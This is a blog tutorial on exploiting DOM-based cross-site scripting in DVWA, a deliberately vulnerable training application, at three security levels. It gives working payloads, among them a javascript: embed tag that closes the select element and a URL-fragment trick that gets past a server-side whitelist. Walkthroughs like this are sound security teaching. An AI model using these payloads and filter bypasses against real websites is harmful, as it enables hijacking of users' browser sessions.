StackZero
  • Homepage
  • Cryptography and Privacy
  • Ethical Hacking
  • Reverse Engineering
  • Contacts
  • About Me
No Result
View All Result
StackZero
No Result
View All Result

How to exploit DOM XSS on DVWA

September 27, 2022
in Ethical Hacking
0 0
How to exploit DOM XSS on DVWA
0
SHARES
2.9k
VIEWS
Share on FacebookShare on Twitter

Again another article about XSS.
This time we are going to see DOM XSS on DVWA, and the practical exploitation of the vulnerability.

As you may have already guessed I particularly push for hands-on learning, in this case, there is not so much different from what we have seen previously, except for some details.

I also wanted to address this specific walkthrough just because in the real world, often the difference between a working exploit and a not working one is only a single little detail.

Obviously, throughout the following write-up, I will take for granted all the knowledge already covered in the previous articles.
In case there are any gaps, I recommend you to read the following tutorials before proceeding:

  • The terrifying world of Cross-Site Scripting (XSS) (Part 1)
  • The terrifying world of Cross-Site Scripting (XSS) (Part 2)
  • XSS in practice: how to exploit XSS in web applications
  • Reflected XSS DVWA – An Exploit With Real World Consequences
  • How to exploit a stored XSS vulnerability on DVWA
  • How to exploit DOM XSS on DVWA

When you are ready, you can prepare your DVWA machine (I’m using the one on TryHackMe), if you don’t know how to do it, I explained it in a nutshell in this article: How To Hack With SQL Injection Attacks! DVWA low security.

After this quick introduction, I am sure you will be ready to get your hands dirty and make all the concepts covered your own for real.

Table of Contents

Toggle
  • Step #1. DOM XSS on DVWA with low security
  • Step #2. DOM XSS on DVWA with medium security
  • Step #3. DOM XSS on DVWA with high security
  • Conclusion

Step #1. DOM XSS on DVWA with low security

The first step after the initial setup is to log into the machine with the default credentials:

  • Username: admin
  • Password: password
DVWA login screen

After that, go into the settings on the left side menu and set the security as low (remember that the default security is “impossible”).

DVWA security setting

We have to repeat this action every time we need to change the security level.

Finally, the initial preparation is over and we can begin with the actual exploit!

By now we should know that the first level is just a kind of warm-up, as usual in DVWA, so let’s try the basic exploit and see the result!

To do that we need to identify the vulnerable input.
By selecting the language (English for example) and clicking on the “Select” button, the URL changes in this way (the IP address depends on the DVWA instance):
http://10.10.37.210/vulnerabilities/xss_d/?default=English

So the value is passed as a GET value into the query string, and that will be our target.
Try for example to replace that value with something random, like this:

http://10.10.37.210/vulnerabilities/xss_d/?default=StackZero

We can see that the parameter is reflected in the default item of the dropdown menu:

Just in case, let’s try to inspect the code of the dropdown menu (Right click + Inspect(Q) in Firefox):

<select name="default">
  <script>
    if (document.location.href.indexOf("default=") >= 0) {
      var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);
      document.write(" < option value = '" + lang + "' > " + decodeURI(lang) + " < /option>");
          document.write(" < option value = ''
            disabled = 'disabled' > -- -- < /option>");
          }
          document.write(" < option value = 'English' > English < /option>");
            document.write(" < option value = 'French' > French < /option>");
              document.write(" < option value = 'Spanish' > Spanish < /option>");
                document.write(" < option value = 'German' > German < /option>");
  </script>
  <option value="StackZero">StackZero</option>
  <option value="" disabled="disabled">----</option>
  <option value="English">English</option>
  <option value="French">French</option>
  <option value="Spanish">Spanish</option>
  <option value="German">German</option>
</select>

By looking at the script, it’s clear that the default value is taken from the URL using the function: document.location.href.substring(document.location.href.indexOf("default=") + 8);

The index of “default=” + 8 indicates the position after 7 chars of the word “default” plus one char of the equals (remember that the index counter starts from zero).

We have already seen this kind of client-side elaboration in this article.

So we could try to set the default value with a string representing our basic exploit by typing this URL in our browser:
http://10.10.37.210/vulnerabilities/xss_d/?default=<script>alert('You have been hacked!');</script>

And exploit worked, so we can move on to the next level!

DOM XSS on DVWA low security successful screen

Step #2. DOM XSS on DVWA with medium security

We are at the medium level, and the first thing we can do is try the exploit of the previous level, but obviously, it doesn’t work.

Due to that, we can infer that there is some kind of server-side filtering which blocks the <script> tag.

In the article Reflected XSS on DVWA, we tried to bypass the filter by typing the tag with some uppercase characters, but in this case, it will be ineffective, we should come up with more.

By inspecting the dropdown menu, we are dealing with select and option tags, so we couldn’t think to put an image and take advantage of the onerror event as we did in past (or maybe something similar).

Apart from the deletion of the script tag, it seems to don’t have other string processing routines, so closing the select tag and inserting our exploit would seem to be a very good idea.
In HTML the embed tag is a container for an external resource, so we will use that to pass this level and we will set our default variable with this value:

</select> <embed src="javascript:alert('You have been hacked')">

Such that the crafted URL will appear like this:

http://10.10.37.210/vulnerabilities/xss_d/?default=</select> <embed src="javascript:alert('You have been hacked')">

And the level is passed again!

DOM XSS on DVWA medium security successful screen

If you want to explore more exploits and maybe test them here, you might take a look at this cheatsheet.

Now it’s time to carry on, so set the security level to “high” and jump to the next level!

Step #3. DOM XSS on DVWA with high security

Finally, we are at the final level, you can try by yourself all the previous techniques, but unfortunately, this time they don’t seem to be working.

There is a filter harder to bypass, in order to have an idea, this time we can cheat a bit and look at the “View Source” so that we can see the PHP of the server.
This is the filter we are going to bypass:

<?php

// Is there any input?
if (array_key_exists("default", $_GET) && !is_null($_GET["default"])) {
    # White list the allowable languages
    switch ($_GET["default"]) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header("location: ?default=English");
            exit();
    }
} ?> 

It will just accept one of the predefined voices, and even if it doesn’t seem to have a solution, we can still do something.

Before proceeding there is something we need to know about how a browser interprets a URI:

The query component is indicated by the first question mark (“?”) character and terminated by a number sign (“#”) character or by the end of the URI

RFC 3986 Section 3.4

If you want to know more, this is the link.

So the browser sends to the server as a query string what is between “?” and “#” but it processes the substring from the index of “default=” + 8 with its javascript (as we have seen in the first step with low-security level).

We want to send the right query string to the server, terminate that by typing “#” and then insert our exploit.

Let’s see how to do that and then discuss a little bit after, this is our exploit:

#<script>alert("You have been hacked");</script>

And here is the complete malicious URL.

http://10.10.173.217/vulnerabilities/xss_d/?default=English#<script>alert("You have been hacked );</script>

But what happens with this crafted URL?

The server receives this URL:

http://10.10.173.217/vulnerabilities/xss_d/?default=English

So it doesn’t trigger the filter because is correct and the server is happy!

Meanwhile, the browser will copy this string in its lang variable and then reflect in its page:

English#<script>alert("You have been hacked );</script>

So if we inspect the element this should be the result (I just reported the part of interest):

  <option value="English#%3Cscript%3Ealert(%22You%20have%20been%20hacked%22);%3C/script%3E">English# <script>
      alert("You have been hacked");
    </script>
  </option>
  <option value="" disabled="disabled">----</option>
  <option value="English">English</option>
  <option value="French">French</option>
  <option value="Spanish">Spanish</option>
  <option value="German">German</option>

Let’s connect to the URL and see the result!

It works again, so we are done and even this section is complete! We can be proud of ourselves!

Conclusion

This kind of XSS is not as common as the other types, but knowing that can lead you either to avoid many errors as a programmer or to get some bounty as a white hat hacker.
I recommend that you practice as much as possible to master the concepts and make them natural.
There are a lot of challenges on the web and you are prepared to face them!

In future posts we will see how dangerous can be such a vulnerability with some examples, so stay tuned!

I hope the explanation was exhaustive, I enjoyed a lot writing this post!

If you like this kind of article, please keep following my blog and social.
Thank You!

Tags: application securitycybersecuritydom-based xssdvwajavascriptvulnerable applicationweb application securityweb exploitationweb securityxss
Previous Post

How to exploit a stored XSS vulnerability on DVWA

Next Post

Blind SQL injection: How To Hack DVWA With Python (Low Security)

Next Post
Blind SQL injection: How To Hack DVWA With Python (Low Security)

Blind SQL injection: How To Hack DVWA With Python (Low Security)

You might also like

Cryptographic functions

Cryptographic Hash Functions in Python: Secure Your Data Easily

November 3, 2024
Malware Obfuscation Techniques: All That You Need To Know

Malware Obfuscation Techniques: All That You Need To Know

March 25, 2024
How To Do Process Enumeration: An Alternative Way

How To Do Process Enumeration: An Alternative Way

March 4, 2024
How To Do DLL Injection: An In-Depth Cybersecurity Example

How To Do DLL Injection: An In-Depth Cybersecurity Example

February 8, 2024
Process Injection By Example: The Complete Guide

Process Injection By Example: The Complete Guide

January 24, 2024
How To Build Your Own: Python String Analysis for Malware Insights

How To Build Your Own: Python String Analysis for Malware Insights

November 10, 2023

StackZero

StackZero is a specialized technical blog dedicated to the realm of cybersecurity. It primarily provides insightful articles and comprehensive tutorials designed to educate readers on developing security tools. The blog encompasses a broad spectrum of subjects, starting from the foundational principles of cryptography and extending to more sophisticated areas such as exploitation and reverse engineering. This makes StackZero an invaluable resource for both beginners and professionals in the field of cybersecurity.
The blog covers a wide range of topics, from the basics of cryptography to the more advanced topics of exploitation and reverse engineering.

Tags

application security blind sqli blind sql injection bruteforce c cesar cipher command injection cryptography ctf cybersecurity debugging dom-based xss dvwa ethical-hacking ethical hacking exploitation file inclusion gdb hacking injection javascript malware malware analysis malware evasion network-security pentesting lab picoctf pico ctf python reflected xss reverse engineering sql sqli sql injection static analysis stored xss substitution substitution cipher vulnerable application web application security web exploitation web security windows windows api xss
  • About Me
  • Contacts
  • HomePage
  • Opt-out preferences
  • Privacy Policy
  • Terms and Conditions

Welcome Back!

Login to your account below

Forgotten Password?

Retrieve your password

Please enter your username or email address to reset your password.

Log In
Manage Cookie Consent
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.
Functional Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes. The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.
Manage options Manage services Manage {vendor_count} vendors Read more about these purposes
View preferences
{title} {title} {title}
No Result
View All Result
  • Homepage
  • Cryptography and Privacy
  • Ethical Hacking
  • Reverse Engineering
  • Contacts
  • About Me